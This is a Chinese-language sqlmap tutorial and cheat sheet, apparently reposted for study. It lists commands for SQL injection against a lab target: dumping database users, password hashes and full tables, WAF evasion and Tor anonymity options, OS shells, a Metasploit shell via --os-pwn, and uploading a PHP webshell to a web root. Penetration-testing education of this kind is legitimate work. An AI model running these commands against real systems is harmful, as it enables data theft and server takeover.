Sqlmap使用詳解


Sqlmap使用詳解

Sqlmap

Sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL進行SQL注入。目前支持的數據庫有MySQL、Oracle、Access、PostageSQL、SQL Sevrer、IBM DB2、SQLite、Firebid、Sybase和SAP MaxDB等。

Sqlmap采用了以下5種獨特的SQL注入技術

  • 基於布爾類型的盲注,即可以根據返回頁面判斷條件真假的注入
  • 基於時間的盲注,即不能根據頁面返回的內容判斷任何信息,要用條件語句查看時間延遲語句是否已經執行(即頁面返回時間是否增加)來判斷
  • 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回到頁面中。
  • 聯合查詢注入,在可以使用union的情況下注入。
  • 堆查詢注入,可以同時執行多條語句時的注入

Sqlmap的強大的功能包括數據庫指紋識別、數據庫枚舉、數據提取、訪問目標文件系統,並在獲取完全的操作權限時執行任意命令。

Sqlmap的簡單用法

sqlmap -r http.txt  #http.txt是我們抓取的http的請求包
sqlmap -r http.txt -p username  #指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測
sqlmap -u "http://www.xx.com/username/admin*"       #如果我們已經知道admin這里是注入點的話,可以在其后面加個*來讓sqlmap對其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探測該url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #當該網站需要登錄時,探測該url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的數據填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看數據庫的所有用戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看數據庫用戶名的密碼
有時候使用 --passwords 不能獲取到密碼,則可以試下
-D mysql -T user -C host,user,password --dump  當MySQL< 5.7時
-D mysql -T user -C host,user,authentication_string --dump  當MySQL>= 5.7時
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看數據庫當前的用戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判斷當前用戶是否有管理員權限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出數據庫所有管理員角色,僅適用於oracle數據庫的時候
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的數據表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出數據庫中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看當前的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出數據庫security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security數據庫中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出數據庫security中的users表中的username列中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出數據庫security中的users表中的username列中的前100條數據
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出數據庫security中的users表中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出數據庫security中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出該數據庫中的所有數據
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定腳本進行過濾,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探測等級5,平台危險等級3,都是最高級別。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #執行指定的sql語句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #執行--os-shell命令,獲取目標服務器權限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #執行--os-pwn命令,將目標權限彈到MSF上
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #讀取目標服務器C盤下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #將本地的test.txt文件上傳到目標服務器的E盤下,並且名字為hack.txt
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其數據庫為mysql 
其他數據庫:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
當爆破HTTPS網站會出現超時的話,可以使用參數 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定時間延遲注入,這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式,當然,我們也可以直接手工指定。
支持的探測方式如下:
  B: Boolean-based blind SQL injection(布爾型注入)
  E: Error-based SQL injection(報錯型注入)
  U: UNION query SQL injection(可聯合查詢注入)
  S: Stacked queries SQL injection(可多語句查詢注入)
  T: Time-based blind SQL injection(基於時間延遲注入)
  
sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道網站的賬號密碼直接連接
 
-v3                   #輸出詳細度  最大值5 會顯示請求包和回復包
--threads 5           #指定線程數
--fresh-queries       #清除緩存
--flush-session       #清空會話,重構注入 
--batch               #對所有的交互式的都是默認的
--random-agent        #任意的http頭
--tamper base64encode            #對提交的數據進行base64編碼
--referer http://www.baidu.com   #偽造referer字段
 
--keep-alive     保持連接,當出現 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保錯的時候,使用這個參數

爆出該網站數據庫中的所有數據

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出數據庫security中的users表中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出數據庫security中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出該數據庫中的所有數據

Sqlmap的高級用法

Sqlmap在默認情況下除了使用CHAR()函數防止出現單引號,沒有對注入的數據進行修改。我們可以使用--tamper參數對數據進行修改來修改繞過WAF等設備,其中的大部分腳本主要用正則模塊替換攻擊載荷字符編碼的方式嘗試繞過WAF的檢測規則。Sqlmap目前官方提供了53個繞過腳本。

探測指定url是否存在WAF,並且繞過

--identify-waf   檢測是否有WAF
 
#使用參數進行繞過
--random-agent    使用任意HTTP頭進行繞過,尤其是在WAF配置不當的時候
--time-sec=3      使用長的延時來避免觸發WAF的機制,這方式比較耗時
--hpp             使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理進行繞過
--ignore-proxy    禁止使用系統的代理,直接連接進行注入
--flush-session   清空會話,重構注入
--hex 或者 --no-cast     進行字符碼轉換
--mobile          對移動端的服務器進行注入
--tor             匿名注入

指定腳本進行繞過(--tamper)

有些時候網站會過濾掉各種字符,可以用tamper來解決(對付某些waf時也有成效)

sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap  --tamper="space2comment.py,space2plus.py"  指定多個腳本進行過濾

探測等級和危險等級(--level --risk)

Sqlmap一共有5個探測等級,默認是1。等級越高,說明探測時使用的payload越多。其中5級的payload最多,會自動破解出cookie、XFF等頭部注入。當然,等級越高,探測的時間也越慢。這個參數會影響測試的注入點,GET和POST的數據都會進行測試,HTTP cookie在level為2時就會測試,HTTP User-Agent/Referer頭在level為3時就會測試。在不確定哪個參數為注入點時,為了保證准確性,建議設置level為5。

sqlmap一共有3個危險等級,也就是說你認為這個網站存在幾級的危險等級。和探測等級一個意思,在不確定的情況下,建議設置為3級,--risk=3

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探測等級5,平台危險等級3,都是最高級別

偽造Http Referer頭部

sqlmap可以在請求中偽造HTTP中的referer,當探測等級為3或者3以上時,會嘗試對referer注入,可以使用referer命令來欺騙,比如,我們偽造referer為百度。

referer  http://www.baidu.com

執行指定的SQL語句(--sql-shell)

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #執行指定的sql語句

執行操作系統命令(--os-shell)

在數據庫為MySQL、PostgreSql或者SQL Server時,可以執行該選項。

當為MySQL數據庫時,需要滿足下面三個條件:

  • 當前用戶為root
  • 知道網站根目錄的絕對路徑
  • 該數據庫的secure_file_priv參數值為空(很多數據庫的該值為NULL,這也導致了即使當前用戶為root,即使知道了網站根目錄的絕對路徑,也不能執行成功 --os-shell)
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #執行--os-shell命令

反彈一個MSF的shell(--os-pwn)

在數據庫為MySQL、PostgreSQL或者SQL Server時,可以執行該選項,並且需要當前獲取的權限足夠高才可以。

sqlmap -u "http://192.168.10.20:88/index.php?id=1"  --os-pwn

上傳文件到數據庫服務器中(--file-write --file-dest)

當數據庫為MySQL、Postgre SQL或者Sql Server(通過poweshell寫入),並且當前用戶有權限向任意目錄寫文件的時候,可以上傳文件到數據庫服務器。文件可以是文本,也可以是二進制文件。

然后利用上傳文件,我們可以上傳一句話木馬或者上傳shell上去。

前提是我們知道網站的絕對路徑

python2 sqlmap.py -u http://192.168.10.130/sqli-labs/Less-2/?id=1 --file-write C:\Users\mi\Desktop\1.php --file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"  #將本地的C:\Users\mi\Desktop\1.php文件上傳到目標服務器C:\phpStudy\PHPTutorial\WWW\2.php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM